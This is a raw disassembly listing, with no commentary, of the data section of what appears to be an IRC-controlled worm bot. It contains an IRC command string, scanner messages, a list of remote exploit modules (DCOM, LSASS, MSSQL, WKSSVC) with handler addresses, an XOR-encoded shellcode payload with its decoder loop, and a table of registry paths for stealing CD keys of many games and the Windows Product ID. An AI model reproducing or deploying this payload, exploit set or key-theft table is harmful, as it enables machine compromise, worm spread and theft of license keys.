aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4062F7+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406A64+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_428A5C dd 4000500h, 7868746Bh, 0dword_428A68 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
; DATA XREF: sub_406B85+47Fo
dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h
dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
dd 2E2973h
unk_428ABC db 2 ; DATA XREF: sub_406B85+3B6o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileNotFoundSS db ' File not found: %s (%s).',0
dword_428AF0 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_406B85+399o
dword_428B04 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
; DATA XREF: sub_406B85+33Eo
dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h
dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
dd 3A6F666Eh, 73252820h, 2E29h
unk_428B4C db 2 ; DATA XREF: sub_406B85+15Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToOpenFi db ' Failed to open file: %s.',0
unk_428B80 db 2 ; DATA XREF: sub_406B85+6Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0
align 4
aOctet db 'octet',0 ; DATA XREF: sub_406B85+Fo
align 10h
aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_4076D2+164o
db 2 dup(0)
aDcom135 db 'Dcom135',0 ; DATA XREF: sub_40381E+16Do
; sub_403E35+2DDo ...
align 4
dd 5 dup(0)
dword_428BF8 dd 87h ; sub_40F6F1+31C4r ...
off_428BFC dd offset sub_403E35 ; DATA XREF: sub_4076D2+1E6r
dword_428C00 dd 0 ; sub_40381E+1C2r ...
dword_428C04 dd 1 dword_428C08 dd 0 aDcom445 db 'dcom445',0
dd 63440000h, 34346D6Fh, 35h, 5 dup(0)
dd 1BDh, 403E35h, 0
dd 1, 0
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'Dcom1025',0
align 4
dd 5 dup(0)
dd 401h, 403E35h, 0
dd 1, 0
aDcass db 'dcass',0
align 4
dd 63640000h, 737361h, 6 dup(0)
dd 1BDh, 4039EEh, 0
dd 2 dup(1), 7361736Ch, 34345F73h, 736C0035h, 5F737361h
dd 353434h, 5 dup(0)
dd 1BDh, 404737h, 0
dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h
dd 353331h, 5 dup(0)
dd 87h, 404737h, 0
dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h
dd 393331h, 5 dup(0)
dd 8Bh, 404737h, 0
dd 2 dup(1), 61736C63h, 7373h, 6C630000h, 73736173h, 6 dup(0)
dd 1BDh, 40381Eh, 0
dd 2 dup(1), 6C31736Ch, 73h, 736C0000h, 736C31h, 6 dup(0)
dd 1BDh, 404911h, 0
dd 2 dup(1), 7173736Dh, 6Ch, 736D0000h, 6C7173h, 6 dup(0)
dd 599h, 404969h, 0
dd 2 dup(1), 7361736Dh, 73h, 736D0000h, 737361h, 6 dup(0)
dd 599h, 404C15h, 0
dd 2 dup(1), 53534B57h, 454356h, 4B570000h, 43565353h
dd 45h, 5 dup(0)
dd 87h, 4052BCh, 0
dd 2 dup(1), 53534B57h, 4F4356h, 4B570000h, 43565353h
dd 4Fh, 5 dup(0)
dd 87h, 405306h, 0 ; CODE XREF: sub_428F1A:loc_428F2Fj
dd 2 dup(1), 0Fh dup(0)
; ---------------------------------------------------------------------------
jmp short loc_428F2A
; =============== S U B R O U T I N E =======================================
sub_428F1A proc near ; CODE XREF: sub_428F1A:loc_428F2Ap
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_428F22: ; CODE XREF: sub_428F1A+Cj
xor byte ptr [edx+ecx], 99h
loop loc_428F22
jmp short loc_428F2F
; ---------------------------------------------------------------------------
loc_428F2A: ; CODE XREF: ___:00428F18j
call sub_428F1A
loc_428F2F: ; CODE XREF: sub_428F1A+Ej
jo short near ptr dword_428EC8+2
cwde
cdq
cdq
retn
sub_428F1A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40707C+81o
align 4
aSD db ' %s: %d,',0 ; DATA XREF: sub_40707C+42o
align 4
unk_4290B8 db 2 ; DATA XREF: sub_40707C+11o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aExploitStatist db ' Exploit Statistics:',0
align 4
unk_4290EC db 2 ; DATA XREF: sub_407146+42o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanNotActive_ db ' Scan not active.',0
unk_42911C db 2 ; DATA XREF: sub_407146+2Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCurrentIpS_ db ' Current IP: %s.',0
align 4
unk_42914C db 2 ; DATA XREF: sub_4071BD+36Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 10h
unk_429190 db 2 ; DATA XREF: sub_4071BD+307o
; sub_40F6F1+5734o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0
align 4
dword_4291DC dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_4071BD+267o
dd 2BBBB02h
aFailedToStar_0 db ' Failed to start server, error: <%d>.',0
align 4
dword_42921C dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_4071BD+1FAo
dd 2BBBB02h
aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
unk_42926C db 2 ; DATA XREF: sub_4071BD+149o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_1 db ' Failed to start server, error: <%d>.',0
unk_4292AC db 2 ; DATA XREF: sub_4071BD+DBo
; sub_40F6F1+55B7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_407599+38o
; sub_40AFAB+46o
unk_429308 db 2 ; DATA XREF: sub_4076D2+EBo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0
unk_429340 db 2 ; DATA XREF: sub_4076D2+93o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_42938C db 2 ; DATA XREF: sub_4078E6+1CEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
align 10h
unk_4293E0 db 2 ; DATA XREF: sub_4078E6+173o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0
align 4
unk_42942C db 2 ; DATA XREF: sub_4078E6+103o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_429474 db 2 ; DATA XREF: sub_4078E6+87o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 4
unk_4294BC db 2 ; DATA XREF: sub_407B45+156o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
unk_429508 db 2 ; DATA XREF: sub_407B45+E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
unk_429560 db 2 ; DATA XREF: ___:00407E77o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0
unk_4295B0 db 2 ; DATA XREF: ___:00407DAEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_429604 db 2 ; DATA XREF: sub_407F51+1B2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_4 db 'Failed to start server on Port %d.',0
align 4
unk_429644 db 2 ; DATA XREF: sub_407F51+18Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0
unk_42968C db 2 ; DATA XREF: sub_407F51+114o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
unk_4296E0 db 2 ; DATA XREF: sub_407F51+A8o
; sub_40F6F1+5F61o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_1 db 'Server started on: %s:%d.',0
align 4
unk_429718 db 2 ; DATA XREF: sub_407F51+3FEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0
unk_429768 db 2 ; DATA XREF: sub_407F51+38Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0
unk_4297B4 db 2 ; DATA XREF: sub_407F51+2F7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_40851A+11o
aWindow db 'Window',0 ; DATA XREF: sub_408755+23o
; sub_40894E+26o
align 10h
dd 80000001h
off_429814 dd offset aSoftwareValveC ; DATA XREF: sub_408B8D+Cr
; sub_408B8D+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_429820 dd 2 dup(0) dd 80000001h, 42A9A8h, 42A99Ch, 42A98Ch, 2 dup(0)
dd 80000001h, 42A96Ch, 42A968h, 42A954h, 2 dup(0)
dd 80000001h, 42A930h, 42A968h, 42A924h, 2 dup(0)
dd 80000001h, 42A900h, 42A8F8h, 42A8E4h, 2 dup(0)
dd 80000001h, 42A8D0h, 42A8C0h, 42A8A4h, 2 dup(0)
dd 80000001h, 42A860h, 42A9E8h, 42A84Ch, 2 dup(0)
dd 80000002h, 42A820h, 42A814h, 42A7F4h, 2 dup(0)
dd 80000002h, 42A7C0h, 42A9E8h, 42A7A8h, 2 dup(0)
dd 80000002h, 42A774h, 42A9E8h, 42A75Ch, 2 dup(0)
dd 80000002h, 42A744h, 42A9E8h, 42A72Ch, 2 dup(0)
dd 80000002h, 42A6F0h, 43C63Ch, 42A6E0h, 2 dup(0)
dd 80000002h, 42A6A8h, 43C63Ch, 42A694h, 2 dup(0)
dd 80000002h, 42A648h, 43C63Ch, 42A628h, 2 dup(0)
dd 80000002h, 42A5D8h, 43C63Ch, 42A5ACh, 2 dup(0)
dd 80000002h, 42A570h, 43C63Ch, 42A55Ch, 2 dup(0)
dd 80000002h, 42A524h, 43C63Ch, 42A514h, 2 dup(0)
dd 80000002h, 42A4C4h, 43C63Ch, 42A498h, 2 dup(0)
dd 80000002h, 42A458h, 43C63Ch, 42A43Ch, 2 dup(0)
dd 80000002h, 42A40Ch, 43C63Ch, 42A3ECh, 2 dup(0)
dd 80000002h, 42A3B0h, 43C63Ch, 42A39Ch, 2 dup(0)
dd 80000002h, 42A354h, 43C63Ch, 42A334h, 2 dup(0)
dd 80000002h, 42A2E0h, 43C63Ch, 42A2B0h, 2 dup(0)
dd 80000002h, 42A260h, 43C63Ch, 42A234h, 2 dup(0)
dd 80000002h, 42A1F4h, 42A1ECh, 42A1CCh, 2 dup(0)
dd 80000002h, 42A188h, 43C63Ch, 42A16Ch, 2 dup(0)
dd 80000002h, 42A120h, 43C63Ch, 42A0FCh, 2 dup(0)
dd 80000002h, 42A0C8h, 43C63Ch, 42A0BCh, 2 dup(0)
dd 80000002h, 42A088h, 43C63Ch, 42A07Ch, 2 dup(0)
dd 80000002h, 42A048h, 43C63Ch, 42A03Ch, 2 dup(0)
dd 80000002h, 42A008h, 43C63Ch, 429FFCh, 2 dup(0)
dd 80000002h, 429FC0h, 43C63Ch, 429FACh, 2 dup(0)
dd 80000002h, 429F70h, 43C63Ch, 429F5Ch, 2 dup(0)
dd 80000002h, 429F2Ch, 42A9E8h, 429F10h, 2 dup(0)
dd 80000002h, 429EF0h, 429EE8h, 429EC4h, 2 dup(0)
dd 80000002h, 429EA8h, 429EE8h, 429E88h, 2 dup(0)
dd 80000002h, 429E68h, 429EE8h, 429E44h, 2 dup(0)
dd 80000002h, 429E2Ch, 429EE8h, 429E28h, 2 dup(0)
dd 80000002h, 429E0Ch, 429DFCh, 429DF4h, 2 dup(0)
dd 80000002h, 429DC0h, 429DBCh, 429DA4h, 2 dup(0)
dd 80000002h, 429D68h, 429D5Ch, 429D34h, 429D24h, 429D10h
dd 80000002h, 429CECh, 429CE0h, 429CCCh, 429CBCh, 429CB4h
dd 80000002h, 429CECh, 429CE0h, 429C88h, 429CBCh, 429C80h
dd 80000002h, 429CECh, 429CE0h, 429C50h, 429CBCh, 429C48h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aKey db 'key',0 ; DATA XREF: ___:00430A64o
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
dd offset word_584F4E
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 10h
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 10h
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 10h
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 10h
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 10h
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 10h
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 10h
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 10h
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 10h
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 10h
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 10h
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aCustomernumber db 'CustomerNumber',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 10h
